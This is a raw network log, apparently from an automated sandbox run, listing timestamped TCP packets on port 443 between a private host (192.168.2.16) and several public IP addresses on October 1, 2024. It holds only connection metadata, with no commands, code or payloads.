Oct 1, 2024 15:08:32.270054102 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.270066977 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.270080090 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.270113945 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.274401903 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.274416924 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.274441004 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.274537086 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.274548054 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.274599075 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.276524067 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.276550055 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.276597023 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.276602983 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.276644945 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.276670933 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.281232119 CEST	49788	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.281280994 CEST	443	49788	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.281362057 CEST	49788	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.281585932 CEST	49788	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.281605005 CEST	443	49788	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.311419010 CEST	443	49787	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:32.316389084 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.316410065 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.316509008 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.316523075 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.316601992 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.317476034 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.317490101 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.317527056 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.317562103 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.317569971 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.317595959 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.317601919 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.317647934 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.317845106 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.317854881 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.321060896 CEST	49787	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:32.321079969 CEST	443	49787	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:32.321080923 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.321116924 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.321175098 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.321417093 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.321429014 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.367031097 CEST	49787	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:33.035765886 CEST	443	49787	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:33.035893917 CEST	443	49787	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:33.035984993 CEST	49787	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:33.036709070 CEST	49787	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:33.036724091 CEST	443	49787	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:33.082664967 CEST	443	49788	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.082983017 CEST	49788	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.083004951 CEST	443	49788	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.084026098 CEST	443	49788	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.084126949 CEST	49788	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.084395885 CEST	49788	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.084445953 CEST	443	49788	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.084564924 CEST	49788	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.084569931 CEST	443	49788	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.119050980 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.119404078 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.119422913 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.120443106 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.120544910 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.120969057 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.121032953 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.121181965 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.121191978 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.134006977 CEST	49788	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.166028976 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.347721100 CEST	443	49788	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.347774029 CEST	443	49788	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.347839117 CEST	443	49788	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.347881079 CEST	49788	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.347944975 CEST	49788	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.349029064 CEST	49788	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.349049091 CEST	443	49788	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.533117056 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.534353971 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.534363985 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.534400940 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.534436941 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.534512997 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.534533978 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.534568071 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.534600973 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.620902061 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.620919943 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.621058941 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.621078014 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.621177912 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.622484922 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.622500896 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.622570038 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.622586012 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.622648001 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.719338894 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.719363928 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.719494104 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.719523907 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.719619036 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.720560074 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.720576048 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.720643997 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.720645905 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.720657110 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.720752001 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.720767975 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.720784903 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.720819950 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.720871925 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.720956087 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.720973969 CEST	443	49789	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:33.720999002 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:33.721025944 CEST	49789	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:48.879854918 CEST	49791	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:48.879897118 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:48.880078077 CEST	49791	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:48.880481005 CEST	49791	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:48.880497932 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.562187910 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.562299967 CEST	49791	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:49.563594103 CEST	49791	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:49.563608885 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.563854933 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.565224886 CEST	49791	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:49.611399889 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.830288887 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.830328941 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.830343962 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.830406904 CEST	49791	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:49.830425024 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.830477953 CEST	49791	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:49.831137896 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.831199884 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.831218958 CEST	49791	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:49.831228018 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.831259012 CEST	49791	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:49.831511974 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.831562042 CEST	49791	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:49.855808020 CEST	49791	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:49.855835915 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:49.855851889 CEST	49791	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:49.855859995 CEST	443	49791	13.85.23.86	192.168.2.16
Oct 1, 2024 15:09:05.668687105 CEST	49793	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:05.668740988 CEST	443	49793	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:05.668812990 CEST	49793	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:05.672811031 CEST	49793	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:05.672827005 CEST	443	49793	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:05.675178051 CEST	49794	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:05.675189018 CEST	443	49794	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:05.675266981 CEST	49794	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:05.675466061 CEST	49794	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:05.675472021 CEST	443	49794	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:05.802634001 CEST	49795	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:09:05.802684069 CEST	443	49795	142.250.184.196	192.168.2.16
Oct 1, 2024 15:09:05.802772045 CEST	49795	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:09:05.803014040 CEST	49795	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:09:05.803030014 CEST	443	49795	142.250.184.196	192.168.2.16
Oct 1, 2024 15:09:06.137965918 CEST	443	49793	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.138381958 CEST	49793	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.138417006 CEST	443	49793	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.138776064 CEST	443	49793	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.139082909 CEST	49793	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.139148951 CEST	443	49793	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.139226913 CEST	49793	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.142829895 CEST	443	49794	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.143111944 CEST	49794	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.143129110 CEST	443	49794	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.144222021 CEST	443	49794	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.144309044 CEST	49794	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.144680023 CEST	49794	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.144731045 CEST	443	49794	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.144810915 CEST	49794	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.144817114 CEST	443	49794	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.183403015 CEST	443	49793	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.192085028 CEST	49794	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.192477942 CEST	49793	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.267791033 CEST	443	49793	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.267884970 CEST	443	49793	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.267954111 CEST	49793	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.268167973 CEST	49793	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.268188953 CEST	443	49793	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.268836975 CEST	49796	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.268960953 CEST	443	49796	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.269068003 CEST	49796	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.269324064 CEST	49796	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.269356966 CEST	443	49796	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.273605108 CEST	443	49794	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.273839951 CEST	49794	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.273866892 CEST	443	49794	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.273921013 CEST	49794	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.274279118 CEST	49797	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.274331093 CEST	443	49797	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.274439096 CEST	49797	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.274590969 CEST	49797	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.274605036 CEST	443	49797	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.461563110 CEST	443	49795	142.250.184.196	192.168.2.16
Oct 1, 2024 15:09:06.461922884 CEST	49795	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:09:06.461945057 CEST	443	49795	142.250.184.196	192.168.2.16
Oct 1, 2024 15:09:06.462286949 CEST	443	49795	142.250.184.196	192.168.2.16
Oct 1, 2024 15:09:06.462635040 CEST	49795	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:09:06.462740898 CEST	443	49795	142.250.184.196	192.168.2.16
Oct 1, 2024 15:09:06.509079933 CEST	49795	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:09:06.735964060 CEST	443	49796	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.736360073 CEST	49796	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.736392021 CEST	443	49796	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.736757040 CEST	443	49796	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.737071991 CEST	49796	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.737133980 CEST	443	49796	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.737199068 CEST	49796	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.748594046 CEST	443	49797	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.748826981 CEST	49797	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.748867989 CEST	443	49797	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.749957085 CEST	443	49797	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.750050068 CEST	49797	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.750319004 CEST	49797	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.750386953 CEST	443	49797	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.750402927 CEST	49797	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.783406019 CEST	443	49796	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.795403004 CEST	443	49797	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.797075987 CEST	49797	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.797089100 CEST	443	49797	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.845103979 CEST	49797	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.863842964 CEST	443	49796	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.863934994 CEST	443	49796	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.864013910 CEST	49796	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.864201069 CEST	49796	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.864219904 CEST	443	49796	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.880640030 CEST	443	49797	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.880858898 CEST	49797	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.880873919 CEST	443	49797	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.880917072 CEST	443	49797	35.190.80.1	192.168.2.16
Oct 1, 2024 15:09:06.880933046 CEST	49797	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:06.880970001 CEST	49797	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:09:10.584419966 CEST	49798	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:10.584460020 CEST	443	49798	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:10.584542990 CEST	49798	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:10.584992886 CEST	49798	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:10.585004091 CEST	443	49798	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.058008909 CEST	443	49798	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.058573961 CEST	49798	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.058594942 CEST	443	49798	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.059658051 CEST	443	49798	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.059746981 CEST	49798	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.061189890 CEST	49798	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.061219931 CEST	49798	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.061269999 CEST	443	49798	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.061449051 CEST	443	49798	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.061500072 CEST	49798	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.062691927 CEST	49798	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.062709093 CEST	443	49798	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.062720060 CEST	49798	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.062761068 CEST	49798	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.063195944 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.063236952 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.063334942 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.063550949 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.063563108 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.543857098 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.544153929 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.544172049 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.545169115 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.545278072 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.545537949 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.545600891 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.545663118 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.545680046 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:11.545686960 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:11.599128008 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:14.942177057 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:14.942225933 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:14.942251921 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:14.942276955 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:14.942302942 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:14.942325115 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:14.942363024 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:14.942394972 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:14.942415953 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:14.942416906 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:14.942425966 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:14.942476034 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:14.942650080 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:14.949719906 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:14.949757099 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:14.949795961 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:14.949795008 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:14.949810982 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:14.949850082 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:14.999106884 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:14.999138117 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.033356905 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.033418894 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.033448935 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.033457041 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.033471107 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.033515930 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.033524990 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.033567905 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.033574104 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.033796072 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.033845901 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.033850908 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.033900023 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.033946991 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.033951998 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.034543037 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.034605980 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.034610033 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.034665108 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.034708977 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.034713984 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.035326004 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.035371065 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.035397053 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.035402060 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.035470009 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.074975967 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.075047970 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.075088978 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.075095892 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.075114012 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.075114965 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.075149059 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.075181961 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.075205088 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.075752020 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.075812101 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.075860977 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.075870991 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.124403954 CEST	443	49799	104.21.11.126	192.168.2.16
Oct 1, 2024 15:09:15.124505997 CEST	49799	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:09:15.124516964 CEST	443	49799	104.21.11.126	192.168.2.16
